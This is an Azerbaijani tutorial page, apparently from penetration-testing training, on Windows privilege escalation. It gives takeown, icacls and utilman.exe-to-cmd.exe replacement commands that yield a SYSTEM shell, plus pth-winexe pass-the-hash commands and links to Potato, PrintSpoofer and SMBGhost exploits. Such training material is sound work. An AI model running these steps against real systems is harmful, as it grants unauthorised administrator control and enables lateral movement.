SeTakeOwnership səlahiyyətiı istifadəçiyə sistemdəki istənilən obyektə,faylla və reyestr açarlarına sahib olmağa imkan verir və hücumçuya imtiyazları yüksəltmək üçün bir çox imkanlar verir. Məsələn, SYSTEM kimi işləyən bir xidməti axtarıb, həmin xidmətin executable faylının sahibliyini götürə bilərik.&#x20;

Aşağıdakı nümunədə utilman.exe faylından istifadə edəcəyik. Utilman.exe (Utility Manager) sistem əlçatanlıq aləti olan Utility Manager proqramını işə salan Windows'da icra edilə bilən faylıdır.Utilman SYSTEM imtiyazları ilə işlədiyindən, orijinal binary faylını öz payload'ımızla əvəz edib, sistem imtiyazları əldə edə bilərik. Amma SeTakeOwnership Səlahiyyəti ilə istədiyimiz faylın sahibi ola bildiyimiz üçün onu əvəz etmək bu vəziyyətdə mənasızdır.

Faylın sahibliyini əldə etmək üçün takeown alətindən istifadə edə bilərik:

```sh
takeown /f <faylın-adı>
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FuXqASopVCjRXApwuUWC2%2FScreenshot%20(560).png?alt=media&#x26;token=51e1b497-a49b-4d17-aaf8-8adcc963c715" alt=""><figcaption></figcaption></figure>

Faylın sahibi olmaq onun üçün bütün imtiyazlara sahib olmağı ifadə etmir, amma biz sahib kimi özümüzə icazələr verə bilərik:

```sh
icacls <faylın-adı> /grant <İstifadəçi>:F
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2Fpmab8rm0YHEQ3WHKcA5h%2FScreenshot%20(561).png?alt=media&#x26;token=a562eb59-c251-48c7-b4e3-deff94d979c2" alt=""><figcaption></figcaption></figure>

Daha sonra utilman.exe faylını cmd.exe faylının surəti ilə əvəz edirik:

```sh
copy cmd.exe utilman.exe
```

Utilman.exe faylını işə salmaq üçün hesabı kilidləyirik və "Ease of Access"'dən istifadə edirik, hansı ki, utilman.exe faylını SYSTEM səlahiyyəti ilə işə salır. Biz bu faylı cmd.exe nüsxəsi ilə əvəz etdiyimiz üçün SYSTEM imtiyazları ilə cmd əldə edirik.

### PASS-the-Hash

Hash əldə edilibsə onu qırmağa ehtiyac yoxdur, hash'dən istifadə edərək autentifikasiya etmək mümkündür. Bunun üçün aşağıdakı əmrdən sitifadə edə bilərsiniz:

```sh
pth-winexe -U 'DOMAIN/username%hash' //MACHINE_IP 'command'
pth-winexe -U 'WORKGROUP/admin%hash' //MACHINE_IP cmd.exe
```

Bu əmrlərdə pth-winexe aləti pass-the-hash (PTH) autentifikasiyasından istifadə edərək uzaq Windows maşınına autentifikasiya edir.

Windows Privilege Escalation haqqında daha çox məlumat üçün aşağıdakı keçidlərə baxa bilərsiniz:

* [Windows Privilege Escalation CheatSheet](https://github.com/nickvourd/Windows_Privilege_Escalation_CheatSheet)&#x20;
*   [Juicy Potato](https://github.com/ohpe/juicy-potato) Sistem Təqlidi üçün SeImpersonate və ya SeAssignPrimaryToken imtiyazlarından sui-istifadə edir.

    ⚠️ Yalnız Windows Server 2016 və Windows 10 1803 yamasına qədər işləyir
*   [Lovely Potato](https://github.com/TsukiCTF/Lovely-Potato) Avtomatlaşdırılmış Juicy Potato

    ⚠️ Yalnız Windows Server 2016 və Windows 10 1803 yamasına qədər işləyir
*   [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) Sistem Təqlidi üçün PrinterBug-dan istifadə edir

    🙏 Windows Server 2019 və Windows 10 üçün işləyir
*   [RoguePotato](https://github.com/antonioCoco/RoguePotato) Təkmilləşdirilmiş Juicy Potato

    🙏 Windows Server 2019 və Windows 10 üçün işləyir
* [Abusing Token Privileges](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/)
* [SMBGhost CVE-2020-0796](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)\
  [PoC](https://github.com/danigargu/CVE-2020-0796)
